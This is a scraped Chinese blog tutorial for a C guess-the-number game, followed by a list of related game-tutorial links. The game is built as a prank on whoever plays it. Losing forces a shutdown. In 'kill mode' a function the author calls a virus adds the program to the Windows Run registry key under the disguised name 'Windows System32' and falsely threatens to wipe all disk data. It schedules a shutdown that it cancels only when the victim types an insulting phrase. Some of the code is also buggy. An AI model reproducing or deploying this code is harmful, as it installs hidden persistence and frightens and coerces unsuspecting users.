草履虫都学会了的超级简单C语言小游戏(附带恶作剧)

article/2025/9/23 1:45:24

游戏源码

2022/04/17 · 将车/c_practice - 码云 - 开源中国 (gitee.com)

程序思路

        程序启动时生成一个随机数,玩家需要在3次内猜对该随机数字(随机数范围,次数可以自设)。
玩家每次所猜数字会被与随机数比较大小,大了小了给予提示
游戏分两种模式,正常和杀戮(自设)正常模式游戏失败电脑自动关机,杀戮模式,游戏失败电脑自动关机添加到注册表。

//游戏思路
//使用二分查找的思路写一个猜数字大小的程序,玩家每次键盘上输入一个数字比较其与一个随机数的大小
//每次猜大猜小给予提示,可以猜5次,5次未猜中,给玩家电脑关机
//每次输入后清屏
//游戏倒计时如果玩家在规定的时间内不完成游戏,电脑自动关机
//每次猜错,让玩家的游戏窗口躲避鼠标作为惩罚(待定)
    //游戏开始画面菜单打印函数   kai_shi函数
    // 游戏设置菜单打印函数      she_zhi函数
    // 游戏规则菜单打印函数      gui_ze函数
    //生成随机数函数              time函数
    // 比较输入的数字与随机数是否相等     
    // 循环上述5次
    //失败惩罚

第一步我们需要一个(play game.c)的源文件

 以及一个(game.h)的头文件

我们自己创建一个头文件

是为了防止在写游戏时,函数,变量太多

全部堆在一个.C文件里面,代码别太多,看着费眼睛,当然你完全可以把他们都写在一起

我们最后的头文件长这样

可以看到我们把所有函数,全局变量的申明都放在头文件,但没有定义

所以我们再创建一个(game.c)文件,来定义我们在头文件里声明的函数和变量

在整个工程中以.c为后缀的文件里 引用自己定义的头文件是这样

#include "game.h"//调用自己写的各种函数

如图第二行,我们在game.c文件中引用了我们自己定义的头文件

这个文件,同时定义了game.h中的函数和全局变量

 如图我们用了258行定义完了所有的函数和全局变量

下面我们看各个函数怎么实现

1,开始菜单打印函数

int kai_shi()
{
    
    for (;;)//游戏开始画面菜单打印
    {
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("*************       小涵的简单俄罗斯转盘     **************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("***************      输入1  -  开始游戏       *************\n");
        printf("***************      输入2  -  设置游戏       *************\n");
        printf("***************      输入3  -  查看游戏规则   *************\n");
        printf("***************      输入0  -  退出游戏       *************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");
        printf("***********************************************************\n");

//以上为开始菜单的样子,原理就是“hello world”,草履虫都嫌简单


        scanf("%d", &kai_shi_pan_duan);

//此处输入一个数字存放到一个全局变量中

//下面根据输入的这个全局变量判断玩家的行动


        if (kai_shi_pan_duan == 1 || kai_shi_pan_duan == 2 || kai_shi_pan_duan == 3
            || kai_shi_pan_duan == 0)
        {
            break;
        }

//但玩家输入的数字是可以执行的数字就退出循环,否则说明玩家瞎输入,就继续打印菜单


        else//清屏,提示,继续循环打印菜单
        {
            system("cls");//清理屏幕
            printf("输入错误\n请重新输入\n");
            Sleep(2000);//延迟
            system("cls");//清理屏幕
        }
    }

//来到此处说明玩家输入合法数字,此时的全局变量就可以当作玩家行动了


    if (kai_shi_pan_duan == 1)//为1是调用后续游戏窗口函数
    {
        printf_game_windows();//打印游戏窗口涵数
    }
    if (kai_shi_pan_duan == 2)//为2是调用后续游戏设置函数
    {
        game_she_zhi();//游戏设置函数
    }
    if (kai_shi_pan_duan == 3)//为3是调用后续游戏规则函数
    {
        game_gui_ze();//游戏规则函数
    }
    if (kai_shi_pan_duan == 0)

//全局变量为0时,开始菜单函数,返回0,等会在游戏里靠这个返回的0结束main函数

//之所以结束游戏要这么麻烦是因为我们的程序

//在进入设置,规则菜单后再返回菜单是递归调用,所以这么麻烦

//反正就是程序已经写成这样了,凑合用吧,懒得删了

//当然可以把我写的开始菜单函数改一下,让这个函数只打印开始菜单就好

//然后至于玩家输入的数字,在游戏main函数里判断,在确定进入后续函数

//函数应该功能简单,我这个属于错误示范


    {
        return 0;
    }
    return 1;
}

2,游戏开始画面菜单打印函数   kai_shi函数

就是打印玩家的游戏画面

具体函数如下

//相比上面那个开始菜单函数,这个函数显得好一点,至少他BUG少,两者相比,说明在写函数时应该经量让函数功能单一

3, 游戏设置菜单打印函数      she_zhi函数

void game_she_zhi()
{
    for (;;)
    {
        system("cls");//清理屏幕
        printf("设置\n");
        printf("\n  随机数范围   *************    0 - %d  *****输入1更改\n", zi_dan);
        printf("\n  猜数字次数   *************    0 - %d  *****输入2更改\n", ci_shu);
        if (game_mo_shi == 1)
        {
            printf("\n  游戏模式     *************    普通模式  ****输入3更改\n");
        }
        else//game_mo_shi == 0
        {
            printf("\n  游戏模式     *************    杀戮模式  ****输入4更改\n");
        }
        printf("            ******        输入0返回\n");
        scanf("%d", &kai_shi_pan_duan);
        int t = 1;
        if (kai_shi_pan_duan == 1 )
        {
            printf("输入你期望随机数的值(3-10000)\n");
            scanf("%d", &t);
            if (t >= 3 && t <= 10000)
            {
                zi_dan = t;
            }
            else
            {
                system("cls");//清理屏幕
                printf("输入错误\n请重新输入\n");
                Sleep(2000);//延迟
                system("cls");//清理屏幕
            }
        }
        if (kai_shi_pan_duan == 2)
        {
            printf("输入你期望猜数字的值(1 - 15)\n");
            scanf("%d", &t);
            if (t >= 1 && t <= 16)
            {
                ci_shu = t;
            }                
            else
            {
                system("cls");//清理屏幕
                printf("输入错误\n请重新输入\n");
                Sleep(2000);//延迟
                system("cls");//清理屏幕
            }
        }
        if (kai_shi_pan_duan == 3)
        {
            game_mo_shi = 0;
        }
        if (kai_shi_pan_duan == 4)
        {
            game_mo_shi = 1;
        }
        if (kai_shi_pan_duan == 0)
        {
            system("cls");//清理屏幕
            break;
        }
    }//循环打印除非退出
    kai_shi();//此处为递归调用必须在循环外,否则问题很多
}

4, 规则说明

void game_gui_ze()
{
    for (;;)
    {
        int kai_shi_pan_duan = -1;
        system("cls");//清理屏幕
        printf("游戏规则\n");
        printf("游戏会生成一个随机数(大小范围可以设置)\n而你有3次机会猜这个数字的大小(可设置)\n");
        printf("每次猜错都会有提示你所猜数字与该随机数字相比大小如何\n");
        printf("如果你用光你的猜测次数,你的电脑将会关机.\n重启即可。\n如果你觉得这样不够刺激,可以在设置中开起杀戮模式\n");
        printf("在杀戮模式下假如你用光了你的猜测次数,你的电脑将感染一个小病毒,他可能没什么危害,但它会让你很不爽\n");
        printf("如果你电脑已经不幸中毒,可以尝试360杀毒,该病毒并未尝试隐瞒杀毒软件,你的电脑基本安全\n");
        printf("最后,祝你好运\n");
        Sleep(5000);//延迟
        printf("\n\n\n\n\n\n\n输入1返回\n");
        scanf("%d", &kai_shi_pan_duan);
        if (kai_shi_pan_duan == 1)
        {
            break;
        }
        else
        {
            system("cls");//清理屏幕
            printf("输入错误\n请重新输入\n");
            Sleep(2000);//延迟
            system("cls");//清理屏幕
        }
    }
    system("cls");//清理屏幕
    kai_shi();
        //查看完成返回开始菜单
}

5,杀戮模式惩罚函数(这大概算个简单病毒,具体讲解可以看我前面的文章)

int bing_du()
{
    char cxlujin[100];//定义个数组存放程序的地址
    GetModuleFileName(NULL, cxlujin, sizeof(cxlujin));//查询程序地址(放到cxlujin )

    char s[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//定义字符串为注册表开机自启的路径
    HKEY hkey;//定义一个注册表的类
    RegOpenKey(HKEY_CURRENT_USER, s, &hkey);//打开注册表(打开该注册表,按cxlujin路径,保存到hkey)
    RegSetValueEx(hkey, "Windows System32", 0, REG_SZ,
        (unsigned char*)cxlujin, 250);

    //设置注册表(设置那个注册表,修改该注册表名称,0,注册表类型 ,(强制转换)程序路径,大小)

    char mima[20] = { 0 };
    printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学{{|└(>o< )┘|}}\n植入了病毒!!!\n");//给对方造成心理压力
    printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!\n");
    while (1)//对方输错可以继续输入
    {
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");//警告
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
        system("shutdown -s -t 10");//system可以对系统进行操作,shutdown是windows的关机指令-s-t是延时设置
        printf("重要的事情我说了5遍!(▼皿▼#)\n害怕吧\n不知所措吧\n忙着关闭电源吧\n");//提示
        printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学\n");
        printf("给了你一个拯救你电脑的机会(●—●)\n");
        printf("你只需要输入一句简简单单的话\n就可以挽救着一切\n立即输入(目光看向这里╰(‵□′)╯ )\n我是傻逼小涵牛逼\n否则就等着你的电脑关机并删掉你所有的数据吧\n啊哈哈哈哈哈\n一切取决与你 ,你还有不到60秒\n");
        scanf("%s", mima);//数组不用取地址符
        if (strcmp(mima, "我是傻逼小涵牛逼") == 0)//判断是否正确输入
        {
            printf("输入正确\n");//正确反馈
            break;//跳出循环
        }

    }
    system("shutdown -a");//同上微软取消关机指令
    printf("很好,你诚恳的态度得到了小涵同学的认可,所以他放过了你\n");//反馈

好了我们的函数,全局变量以及头文件都搞定了

然后时游戏主函数

在整个工程中main函数只有一个

#define _CRT_SECURE_NO_WARNINGS 1
#include "game.h"//调用自己写的各种函数
//游戏思路
//使用二分查找的思路写一个猜数字大小的程序,玩家每次键盘上输入一个数字比较其与一个随机数的大小
//每次猜大猜小给予提示,可以猜5次,5次未猜中,给玩家电脑关机
//每次输入后清屏
//游戏倒计时如果玩家在规定的时间内不完成游戏,电脑自动关机
//每次猜错,让玩家的游戏窗口躲避鼠标作为惩罚(待定)
    //游戏开始画面菜单打印函数   kai_shi函数
    // 游戏设置菜单打印函数      she_zhi函数
    // 游戏规则菜单打印函数      gui_ze函数
    //生成随机数函数              time函数
    // 比较输入的数字与随机数是否相等     
    // 循环上述5次
    //关闭电脑
int main()
{
    for (;;)//循环是为了让游戏可以多次玩,不用每次玩都重新开程序
    {

        srand((unsigned int)time(NULL));
        sui_ji_shu = rand() % zi_dan;

//上面两行为生成一个随机数


        if (kai_shi() == 0)//之前提到的,让开始菜单函数返回0,就是为了在此处直接结束主函数
        {
            system("cls");//清理屏幕
            break;
        }


        int i = 0;
        for (i = 0; i < ci_shu; i++)

//判断输入数字大小是否等于随机数,以及游戏是否胜利
        {
            scanf("%d", &cai_num);
            if (cai_num < sui_ji_shu)
            {
                printf("大于你的数字");
            }
            if (cai_num > sui_ji_shu)
            {
                printf("小于你的数字");
            }
            if (cai_num == sui_ji_shu)
            {
                break;//猜对后直接跳出循环
            }

        }

//下面为游戏结束后的判定,判定游戏失败了就惩罚,赢了就祝贺


        if (i >= ci_shu)

//下面是失败惩罚

//第一个是普通惩罚
        {
            system("cls");//清理屏幕
            printf("\n\n\n\n\n                  砰!!!           \n");
            printf("\n很遗憾你没有躲开子弹\n");
            printf("你输了! \n");
            Sleep(2000);
            system("cls");//清理屏幕
            printf("再见\n 愿你玩得愉快,祝你好运\n");
            Sleep(1000);// 延时1000ms
            if (game_mo_shi == 1)
            {
                system("shutdown -s -t 1");
            }
            else if(game_mo_shi == 0)

//这个是杀戮惩罚
            {
                system("cls");//清理屏幕
                int bing_du();
            }
            break;
        }
        else

//下面为胜利
        {
            system("cls");//清理屏幕
            printf("恭喜你猜对了\n");
            printf("\n\n\n\n\n\n\n输入其他再来一局\n输入6退出游戏\n");
            scanf("%d", &kai_shi_pan_duan);
            if (kai_shi_pan_duan == 6)
            {
                system("cls");//清理屏幕
                printf("已退出\n");
                break;//退出游戏
            }
            system("cls");//清理屏幕
        }

    }//循环结束标志

//如果胜利就循环继续游戏,当然可以选6就可以直接退出循环

//失败的的话就关机了

    return 0;
}


http://chatgpt.dhexx.cn/article/3g2TYk2O.shtml

相关文章

C语言小游戏大全,C语言贪吃蛇小游戏(附源码)

一、C语言小游戏大全&#xff0c;C语言贪吃蛇小游戏&#xff08;附源码&#xff09; 贪吃蛇小游戏源码和更多C语言课设项目小游戏源码免 费 下 载 链 接 如下&#xff1a; c语言项目课设小游戏源码资料压缩包.zip-C文档类资源-CSDN下载 1、直接上图片展示 运行结果如下所示…

C语言小游戏——扫雷

文章目录 前言一、效果图&#xff08;展示&#xff09;二、整体结构及功能介绍需要思考的问题 三、功能解析及代码实现四、完整源码展示总结 前言 “扫雷”相信小伙伴们都玩过吧&#xff0c;上机课偷偷玩机房的电脑&#xff0c;只有扫雷&#xff0c;纸牌等小游戏&#xff0c;打…

c语言小游戏-飞机大战

&#xff08;创作不易&#xff0c;感谢有你&#xff0c;你的支持&#xff0c;就是我前行的最大动力&#xff0c;如果看完对你有帮助&#xff0c;请留下您的足迹&#xff09; 今天我们来尝试用easyx图形库实现c语言小游戏-飞机大战&#xff08;源代码和图片已经在结尾给出&#…

c语言小游戏百度云资源,c语言小游戏合集

这是c语言小游戏合集下载&#xff0c;这是我用c语言写的程序&#xff0c;我在大三上学期的劳动成果展示。我的其他资源都是免费的&#xff0c;是对于c语言初学者的帮助比较大的&#xff0c;其中有数据结构&#xff0c;window编程。我也在学c语言&#xff0c;每当我写完一个程序…

C语言俄罗斯方块

C语言俄罗斯方块 先看效果 代码如下 /************************************** 俄罗斯方块* 1. 游戏开始界面&#xff0c;显示界面* 2. 方块的产生,及判断方块产生的位置是否有方块&#xff0c;有就退出游戏* 3. 方块的移动&#xff0c;旋转&#xff0c;左右移动&#xff0c;…

C语言小游戏快速入门--弹跳小球

目录 一、前言二、弹跳小球的实现2.1、界面设置2.2、弹跳逻辑1、 game.h2、 game.c3、 test.c 三、总结 一、前言 相信很多小伙伴在学习完C语言语法之后就想要做几个小游戏&#xff0c;来练练手。弹跳小球就很适合C语言初学者&#xff0c;甚至你不需要学习到数组的知识就可以上…

【C语言】简单小游戏项目:《别踩白块儿》

序 突然喜欢惊鸿一瞥这个词&#xff0c;一见钟情太肤浅日久生情太苍白&#xff0c;别人眉来眼去&#xff0c;我只偷偷看你一眼。 嗨&#xff01;这里是狐狸~ 新的一周又开始了&#xff0c;时间过得还真快&#xff0c;不知道给大家分享点啥了&#xff0c;想发偏算法之类怕大家…

【C语言小游戏】走迷宫

偶然翻到了自己大一时候写的一些代码&#xff0c;代码冗余&#xff0c;但还是想保存下来&#xff0c;以作纪念。 文章目录 1.运行效果2.运行环境3.完整代码 1.运行效果 2.运行环境 源码(Dev5.4.0版本下可直接(.cpp文件)运行 gcc 4.7.2) 注意&#xff1a;由于部分代码为C11标准&…

C语言小游戏------贪吃蛇----小白专用

C语言贪吃蛇小游戏 视频正在随缘策划中。。。。 废话在后面直接上程序 该程序在VS2019上可完美运行。 #include<stdio.h> #include<stdlib.h> #include<Windows.h> #include<time.h> #include<conio.h> constexpr auto maphigh 28, mapwid…

bootstrap时间控件--时间选择器

对应上面的三个时间选择器&#xff0c;写法如下&#xff1a; 首先引入css和js&#xff1a; <link href"https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel"stylesheet"> <link href"https://cdn.bootcss.com/bootstrap-…

日期时间控件

标题 开发软件使用到日期时间控件的地方很多&#xff0c;但是很多时候Html5自带的时间控件无法满足开发的需要&#xff0c;所以使用这种时间控件完全没有问题 引用 很多时候我们开发引用别人的控件时候&#xff0c;发现老是出现错误&#xff0c;是因为我们引用出现错误&#x…

时间控件(Time Control)

之前在网上看时间控件&#xff0c;看到这个http://hi.baidu.com/fxh19860822/blog/item/dd17d923343556ae4623e8e9.html&#xff0c;感觉颜色蛮好的&#xff0c;后来觉得要是时针、分针、秒针也可以供用户交互就更好了&#xff0c;不管怎样&#xff0c;有了idea就试试吧。 老规…

时间日期选择控件

这篇blog带来一个感觉不错的时间日期选择控件&#xff0c;当然&#xff0c;该控件也可以自定义选项内容。但这里主要说下时间选择的功能&#xff01; github地址 跟着大神的脚步&#xff0c;总有一天会成为神&#xff01; 效果&#xff1a; 关键点&#xff1a; 该控件可以…

jqueryUI日期控件和时间控件

日期控件用法&#xff1a; <!DOCTYPE html> <head><meta charset"utf-8"><title>日期</title><link rel"stylesheet" href"css/jquery-ui.css"><script src"js/jquery-3.3.1.min.js"><…

Timer时间控件

第一步、创建一个Windows窗体&#xff0c; 第二步、创建样式&#xff0c;在工具箱中找到TextBox和Labell、Button、timer。 第三步、改变属性的Name和 Text&#xff08;就是改写名称&#xff09; 第四步、排版按钮 1&#xff1a;使用的控制器是Label&#xff1b;name改为lbl…

web前端时间控件使用

官方参考地址&#xff1a;http://www.layui.com/laydate/ 1.首先把下载的layDate文件夹放入项目目录下 2.在需要使用的页面引入/layDate/laydate.js 3.创建input并使用js初始化input&#xff0c;获取选择时间值时只需获取input的value即可 官方实例&#xff1a; 生成效果&a…

时间日期控件的使用

在Android中&#xff0c;时间日期控件相对来说还是比较丰富的。其中&#xff0c;DatePicker用来实现日期输入设置&#xff0c;TimePicker用来实现时间输入设置。DatePickerDialog用来显示日期对话框&#xff0c;TimePickerDialog用来显示时间对话框。AnalogClock用来显示一个指…

Android中日期和时间控件的使用

本文主要讲述Android中的日期控件和时间控件的使用&#xff0c;以一个Demo的例子来展示日期和时间控件的使用&#xff0c;先看下如下效果图&#xff1a; 从效果图中可以看到该Demo是通过单击【选择日期】按钮和【选择时间】按钮弹出日期或者时间的对话框&#xff0c;然后设置日…

前端时间控件

1.My97 Datepicker js引入&input标签编写 <script type"text/javascript" src"<%request.getContextPath() %>/js/My97DatePicker/WdatePicker.js"></script> <input style"width: 80%" id"showStartDate&quo…

Android开发之日期时间控件选择

Android开发之日期时间控件选择 文章目录 前言一、创建弹出Layout1.1 新建Layout&#xff0c;修改样式为LinearLayout1.2 Layout中添加日期和时间控件 二、新建DateTimeDialog2.1 创建静态方法2.1.1 创建SetDateDialog&#xff0c;用于选择日期2.1.2 SetDateDialog中绑定textVi…